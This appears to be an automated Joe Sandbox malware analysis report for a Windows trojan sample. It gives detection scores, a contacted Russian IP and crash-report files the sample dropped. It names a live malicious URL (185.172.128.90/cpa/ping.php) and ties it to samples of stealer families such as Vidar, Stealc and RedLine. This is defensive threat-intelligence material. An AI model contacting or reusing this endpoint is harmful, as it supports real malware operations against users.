Source	Detection	Scanner	Label	Link
97NT8DO3JB.exe	100%	Avira	HEUR/AGEN.1361904
97NT8DO3JB.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.90/cpa/ping.php?substr=one&s=two	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.90	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428958
Start date and time:	2024-04-19 22:35:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	97NT8DO3JB.exe renamed because original name is a hash value
Original Sample Name:	3415aaebe725006cfa66320863c1bb8a.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@15/39@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 12 Number of non-executed functions: 117
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.85.23.86, 20.189.173.20, 13.85.23.206, 20.3.187.198
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 97NT8DO3JB.exe

Simulations

Behavior and APIs

Time	Type	Description
22:36:13	API Interceptor	2x Sleep call for process: SIHClient.exe modified
22:36:14	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.90	2TjpEuyd2z.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	xQXHoWMKoa.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=ten&s=ab&sub=0
	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	HCfh46GOiJ.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=six&s=ab&sub=0
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	Mmc1oSyjzD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=six&s=ab&sub=0
	file.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	2TjpEuyd2z.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	xQXHoWMKoa.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.23
	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	LXoASvZRu1.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	nXXx6yL69w.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	185.172.128.203
	Gpeym6icI3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	dc8laldmc8.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	LB4129B9YX.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_1630c49f-2354-49a2-9ab8-dc030df3b2ee\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9348969705804512
Encrypted:	false
SSDEEP:	96:/VWQ+sJhq7oA7RT6tQXIDcQnc6rCcEhcw3rD+HbHg/8BRTf3o8Fa99Oy4H9nFED/:NR+/X056r4jlQjzuiFyZ24IO8qaZ
MD5:	035D76EAD663BDE83E4CEDA1AD113D56
SHA1:	5CDF35C30769BA1E2410B1FF6E1B1413EBE6A3A1
SHA-256:	86937FBACADFFAB5A88B77FED8493CB774CA2C6E0B52DD86C78FD4CD63FC159D
SHA-512:	795A9A945A85A0A135CEC6304D33CAE72ABEC9B1C3322D43476CFDF2C5D40F15D28EF0FF63AC929471F6B4C12F89E70C8AEBDC81F99B8C84CD7DD74D9CE57CC2
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.5.9.5.2.5.9.4.3.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.6.3.0.c.4.9.f.-.2.3.5.4.-.4.9.a.2.-.9.a.b.8.-.d.c.0.3.0.d.f.3.b.2.e.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.6.3.9.3.b.e.b.-.2.3.f.9.-.4.f.5.8.-.8.9.9.b.-.b.5.a.b.6.1.6.3.8.5.7.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_3a48af57-569b-4ab4-b9ea-256268bf1ad0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.838076749570067
Encrypted:	false
SSDEEP:	96:rZbUsJhq7oA7RT6tQXIDcQnc6rCcEhcw3rD+HbHg/8BRTf3o8Fa99Oy4H9nFEDKI:VbU/X056r4jlGzuiFyZ24IO8qaZ
MD5:	C2C80305F024831DA86240EA4ACA1226
SHA1:	00C393BF8B9B15165E378BBC5D1BDD5C82865F84
SHA-256:	2F780FA577C9C6645FE124641FCE0DEBFF91C1F3B3DC708E3410B288FBB6987A
SHA-512:	145D841D72547375CE605C927C34BA79FA24AA85667F98591EF940C87CE572C802DEA2312DB58474405EB6D891A9A7FFAC0C75ED9962CC46C621EFCB4A567290
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.5.4.6.9.4.6.3.7.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.a.4.8.a.f.5.7.-.5.6.9.b.-.4.a.b.4.-.b.9.e.a.-.2.5.6.2.6.8.b.f.1.a.d.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.7.5.1.7.4.6.1.-.e.1.a.a.-.4.6.e.4.-.9.4.0.6.-.2.a.0.9.f.a.8.7.0.5.7.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_5c38cd1d-3bce-4550-bdcf-bb046d0ffe19\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.837800102979353
Encrypted:	false
SSDEEP:	96:MSwqsJhq7oA7RT6tQXIDcQnc6rCcEhcw3rD+HbHg/8BRTf3o8Fa99Oy4H9nFEDKI:Aq/X056r4jlGzuiFyZ24IO8qaZ
MD5:	600C06EF771DBEBF3ED0C34EAB3E6770
SHA1:	5932D3C9F1F69A22D1A922BBF047D7E0ADD33AE3
SHA-256:	6E8513ADC1590662798AAFFC70C67159269B458AE5F3789EA8217EC5D5944469
SHA-512:	53F2F98A9005B64D1D42342DF7BCEFFE53886EB4259A61B7B0D4519AC77A45CD765FED3A6F0A5C9B4BD2F4B7CB95863E41A9025149D3859F43081A64AC97B800
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.5.5.4.2.7.5.2.5.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.c.3.8.c.d.1.d.-.3.b.c.e.-.4.5.5.0.-.b.d.c.f.-.b.b.0.4.6.d.0.f.f.e.1.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.8.2.f.a.8.4.7.-.e.8.5.d.-.4.e.6.6.-.a.c.0.2.-.6.b.1.7.3.3.6.a.4.5.b.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_8fd0dd96-51df-4555-aa5e-8b9425c46166\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8533329825053435
Encrypted:	false
SSDEEP:	96:WnJsJhq7oA7RT6tQXIDcQnc6rCcEhcw3rD+HbHg/8BRTf3o8Fa99Oy4H9nFEDKVQ:GJ/X056r4jlszuiFyZ24IO8qaZ
MD5:	5E20AFC5000113B238A8E5223EAC480E
SHA1:	9ACA9B44AE204A6F69E03CF2A10A687CA48951DE
SHA-256:	BA773C1A4EFBA5EA4B5045FA17B360C1ED7ECA82CE841C86549F45047FECB91A
SHA-512:	9905407E2DB101015832CACFFE08089E15AE97B0573AEC97ADE389CC5CC6884464E5EC9A0E40B2665F6B82A4929B0089D3528388E83CE27E70AC1A5C9646E252
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.5.7.0.9.8.7.7.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.f.d.0.d.d.9.6.-.5.1.d.f.-.4.5.5.5.-.a.a.5.e.-.8.b.9.4.2.5.c.4.6.1.6.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.8.7.c.8.f.3.b.-.5.8.3.9.-.4.3.8.1.-.9.c.5.4.-.1.e.0.c.8.f.a.a.2.7.9.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_acc9e967-ff41-4224-90bc-0f98e5eb772f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8536184171996241
Encrypted:	false
SSDEEP:	96:6Zp6sJhq7oA7RT6tQXIDcQnc6rCcEhcw3rD+HbHg/8BRTf3o8Fa99Oy4H9nFEDKW:ip6/X056r4jlszuiFyZ24IO8qaZ
MD5:	135A69AB7E22A4E0AB9C3C9CD94DC7AC
SHA1:	2004A6ED569F7C8AA204BF8B7FD909880C37C7AF
SHA-256:	E4F4DFC13AE1A3587A2ABF86779B4D04C44EDA0945C81846EA24FEFE421AAA36
SHA-512:	B010F968FE868A08FDC14C6648215D9CD1A829D05ADB6BFE56863EA1F8A89BD7D91C6C7047F50535595A9A0AF2791FEED71E807BE37EF8FD20A4FB3F42519ABD
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.5.6.5.1.7.6.7.6.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.c.c.9.e.9.6.7.-.f.f.4.1.-.4.2.2.4.-.9.0.b.c.-.0.f.9.8.e.5.e.b.7.7.2.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.6.1.8.0.6.6.1.-.5.d.8.b.-.4.6.5.1.-.8.3.d.b.-.4.7.d.5.9.d.4.e.7.9.8.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_cdb61ca0-0229-40fc-b9c9-8fe9029a2de5\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8379341897745287
Encrypted:	false
SSDEEP:	96:h0rThWsJhq7oA7RT6tQXIDcQnc6rCcEhcw3rD+HbHg/8BRTf3o8Fa99Oy4H9nFE7:inhW/X056r4jlGzuiFyZ24IO8qaZ
MD5:	F9A5C4E8681FB2C6AF4A0329EA1A04DD
SHA1:	8F881ACADA39921F103DEBC0435D3B3334AD7834
SHA-256:	F911D2D4FB66FA54031FDBFB6805ACB001EB0117FA564504CA9D3C3322F49A6C
SHA-512:	5286FC98761BD588E07953A27B5D0988B786B91F8E2B04AF46BFA706D3ADA37519B9DBC84470174A7404AA15510743680F58C6CDF354377E559F033BB63A271A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.5.4.0.8.7.1.0.8.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.d.b.6.1.c.a.0.-.0.2.2.9.-.4.0.f.c.-.b.9.c.9.-.8.f.e.9.0.2.9.a.2.d.e.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.3.6.2.c.0.4.6.-.9.e.4.4.-.4.c.d.d.-.a.5.8.5.-.3.4.3.4.9.9.5.a.9.1.a.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_504654aafbb45967f4acb4ca8e5b93132f2f_1bd0a4a3_ef6f7bd1-c393-4e57-b46f-a509222f2e19\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8379608512476548
Encrypted:	false
SSDEEP:	96:xL3DJsJhq7oA7RT6tQXIDcQnc6rCcEhcw3rD+HbHg/8BRTf3o8Fa99Oy4H9nFEDn:JJ/X056r4jlGzuiFyZ24IO8qaZ
MD5:	64A14072E6166B21D50E4B0B3BB0A464
SHA1:	F6F7B68EC27E9DE4B852E84CB8C9E4788CDB5865
SHA-256:	5602771EF574D5577CD5AE3D641500C544395C0E5B7283AB3D08AA55547FB84D
SHA-512:	0D868E410712A47010D22A4CE059C1FA757BD4DB3E396488CA90166E45FD21A0DCA6B4950C444FD93FE441F81847A32041DC62BE156DE5298739DF3535D07E7A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.5.5.9.3.3.7.8.9.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.6.f.7.b.d.1.-.c.3.9.3.-.4.e.5.7.-.b.4.6.f.-.a.5.0.9.2.2.2.f.2.e.1.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.5.6.7.c.8.2.e.-.c.a.f.3.-.4.9.4.f.-.b.2.d.8.-.3.e.4.1.1.1.0.b.5.6.8.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_97NT8DO3JB.exe_6be156e7f6408b6a57b6e7c3a2ce735a1cd81ea8_1bd0a4a3_0ed49d18-13ae-42ea-852a-2af280a287d7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9993532650240066
Encrypted:	false
SSDEEP:	192:K35Wx/2O0QC+g5VLjlQQedzuiFyZ24IO83aZ:Dx/21QC+g5VLjwzuiFyY4IO83a
MD5:	2126C7EA78C422FFC343731ED386C7E8
SHA1:	1189A10E8E9CF6AB1ED9C5983F7A7078D6128E33
SHA-256:	279A99D6EF2175E276C6EC697E271AB5666F7903D6DD3DB1763EFEE8DFA11A1F
SHA-512:	83761C8BF26C70F9627F27D5027D7E7590FE7D23A044C52F5D21F7C55E45973A048E9C08B4553AC6137CF1A86E0AC1BC181BD3C3AD08886689B5FB50B4DA61B1
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.3.2.5.6.0.3.3.2.6.9.8.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.0.3.2.5.6.0.6.9.2.0.6.5.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.e.d.4.9.d.1.8.-.1.3.a.e.-.4.2.e.a.-.8.5.2.a.-.2.a.f.2.8.0.a.2.8.7.d.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.0.d.d.b.4.6.6.-.f.a.5.d.-.4.7.3.4.-.8.b.e.a.-.f.1.9.0.9.6.8.4.6.c.f.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.7.N.T.8.D.O.3.J.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.0.-.0.0.0.1.-.0.0.1.4.-.b.a.c.b.-.7.f.2.c.9.9.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.2.0.3.7.1.6.6.0.d.3.2.8.2.8.5.9.f.6.e.b.d.0.b.e.f.1.1.7.b.a.d.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.c.b.5.1.3.d.1.f.0.1.f.9.e.c.8.1.9.b.6.2.c.a.8.f.f.1.b.5.9.1.a.e.4.c.